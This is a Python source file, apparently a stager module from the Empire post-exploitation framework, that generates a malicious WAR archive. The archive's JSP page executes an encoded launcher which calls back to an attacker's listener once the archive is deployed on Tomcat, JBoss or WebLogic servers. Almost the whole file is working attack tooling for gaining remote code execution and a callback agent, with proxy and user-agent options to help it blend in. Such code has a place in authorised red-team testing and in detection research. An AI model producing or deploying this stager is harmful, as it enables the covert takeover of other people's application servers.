Empire/lib/stagers/war.py

128 lines
4.5 KiB
Python

from lib.common import helpers
import zipfile
import StringIO
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'WAR',
'Author': ['Andrew @ch33kyf3ll0w Bonstrom'],
'Description': ('Generates a Deployable War file.'),
'Comments': [
'You will need to deploy the WAR file to activate. Great for interfaces that accept a WAR file such as Apache Tomcat, JBoss, or Oracle Weblogic Servers.'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'AppName' : {
'Description' : 'Name for the .war/.jsp. Defaults to listener name.',
'Required' : False,
'Value' : ''
},
'OutFile' : {
'Description' : 'File to write .war to.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
appName = self.options['AppName']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
# appName defaults to the listenername
if appName == "":
appName = listenerName
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
# .war manifest
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"
# Create initial JSP and Web XML Strings with placeholders
jspCode = '''<%@ page import="java.io.*" %>
<%
Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''");
%>
'''
# .xml deployment config
wxmlCode = '''<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>%s</servlet-name>
<jsp-file>/%s.jsp</jsp-file>
</servlet>
</web-app>
''' %(appName, appName)
# build the in-memory ZIP and write the three files in
warFile = StringIO.StringIO()
zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
zipData.writestr("META-INF/MANIFEST.MF", manifest)
zipData.writestr("WEB-INF/web.xml", wxmlCode)
zipData.writestr(appName + ".jsp", jspCode)
zipData.close()
return warFile.getvalue()